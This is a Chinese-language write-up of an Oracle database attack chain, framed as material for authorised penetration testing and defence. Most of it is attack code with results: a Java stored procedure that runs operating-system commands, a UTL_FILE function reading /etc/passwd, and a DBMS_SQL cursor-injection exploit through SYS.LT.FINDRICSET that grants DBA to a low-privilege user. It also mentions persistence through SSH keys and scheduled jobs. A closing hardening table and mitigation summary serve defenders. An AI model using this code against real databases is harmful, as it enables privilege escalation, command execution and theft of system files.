本文僅供 **授權滲透測試、紅隊演練、安全教學** 參考。**未經書面授權對生產/他人系統實施攻擊屬違法行為**,嚴禁用於非法用途。所有技術細節旨在協助防禦者理解攻擊面、部署緩解措施。
CREATE OR REPLACE FUNCTION linx_query (p VARCHAR2)
RETURN NUMBER AUTHID CURRENT_USER IS
BEGIN
EXECUTE IMMEDIATE p;
RETURN 1;
END;
/
-- 成功創建,確認具備動態 SQL 執行權限
CREATE OR REPLACE AND COMPILE JAVA SOURCE NAMED "LinxUtil" AS
import java.io.*;
public class LinxUtil extends Object {
public static String runCMD(String args) {
try {
BufferedReader myReader = new BufferedReader(
new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream()));
String stemp, str = "";
while ((stemp = myReader.readLine()) != null) str += stemp + "\n";
myReader.close(); return str;
} catch (Exception e) { return e.toString(); }
}
};
-- 權限授予 (需 DBA)
BEGIN dbms_java.grant_permission('PUBLIC','SYS:java.io.FilePermission','<>','execute'); END;
/
CREATE OR REPLACE FUNCTION LinxRunCMD(p_cmd IN VARCHAR2) RETURN VARCHAR2
AS LANGUAGE JAVA NAME 'LinxUtil.runCMD(java.lang.String) return String';
/
-- 結果:CREATE JAVA SOURCE 失敗,資料庫禁用 Java 載入或缺少 JServer 組件
CREATE OR REPLACE FUNCTION LinxUTLReadfile(filename VARCHAR2) RETURN VARCHAR2 IS
fHandler UTL_FILE.FILE_TYPE;
buf VARCHAR2(4000);
output VARCHAR2(8000);
BEGIN
fHandler := UTL_FILE.FOPEN('UTL_FILE_DIR', filename, 'r');
LOOP
BEGIN
UTL_FILE.GET_LINE(fHandler, buf);
output := output || buf || CHR(10);
EXCEPTION WHEN NO_DATA_FOUND THEN EXIT; END;
END LOOP;
UTL_FILE.FCLOSE(fHandler);
RETURN output;
END;
/
-- 需先建立目錄物件 (需 CREATE ANY DIRECTORY 權限,通常無)
CREATE OR REPLACE DIRECTORY UTL_FILE_DIR AS '/etc';
-- 結果:權限不足,無法建立目錄物件
利用 `SYS.LT.FINDRICSET` 等可注入 PL/SQL 程序單元的漏洞 (CVE-2006-XXXX 類),透過 `DBMS_SQL` 動態游標執行任意特權 SQL。
DECLARE
myc NUMBER;
BEGIN
myc := DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE(myc,
'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ' ||
'BEGIN EXECUTE IMMEDIATE ''GRANT DBA TO current_user''; COMMIT; END;',
DBMS_SQL.NATIVE);
-- 觸發注入點的脆弱程序 (示例為 LT.FINDRICSET)
SYS.LT.FINDRICSET('''||DBMS_SQL.EXECUTE('||myc||')||''', 'x');
RAISE NO_DATA_FOUND;
EXCEPTION
WHEN NO_DATA_FOUND THEN NULL;
WHEN OTHERS THEN NULL;
END;
/
-- 重新連線,當前用戶已具 DBA 權限
緩解措施:升級至 11.2.0.4/12.1.0.2+ 並應用 Critical Patch Update (CPU),移除 PUBLIC 對易受攻擊 PL/SQL 套件的 EXECUTE 權限,啟用 `O7_DICTIONARY_ACCESSIBILITY=FALSE`。
CREATE OR REPLACE DIRECTORY UTL_FILE_DIR AS '/etc';
SELECT LinxUTLReadfile('passwd') FROM dual;
-- 獲取系統用戶清單,後續可構建 SSH 金鑰、排程任務等持久化手段
| 檢查項目 | 風險 | 加固建議 |
|---|---|---|
| PUBLIC 對 DBMS_SQL / LT / DBMS_JAVA 等套件擁有 EXECUTE | 游標注入/JAVA 提權入口 | REVOKE EXECUTE ON pkg FROM PUBLIC; 僅授予必要角色 |
| 非 DBA 用戶擁有 CREATE PROCEDURE / CREATE JAVA SOURCE | 惡意程序單元植入 | 最小權限原則,開發/測試帳號隔離 |
| UTL_FILE_DIR / Directory 物件授權過寬 | 任意檔案讀寫 | 限制目錄路徑、僅授權特定帳號、啟用審計 |
| 資料庫版本未打 CPU / PSU | 已知 CVE 可被利用 | 定期應用 Critical Patch Update,訂閱 Oracle Security Alert |
| 網路層未限制資料庫出站連線 | UTL_HTTP/DBMS_NETWORK_ACL 可被濫用 | 防火牆/ACL 僅允許必要目的地,預設拒絕 |
此攻擊鏈展示了 **低權限 → 動態 SQL → 游標注入 → DBA → OS 檔案讀取** 的完整殺傷鏈。核心成因在於 **過度授權 (PUBLIC 權限)、未打補丁、缺乏最小權限原則**。防禦者應從帳號權限收斂、補丁管理、網路微隔離、審計監控四個維度構建纵深防禦。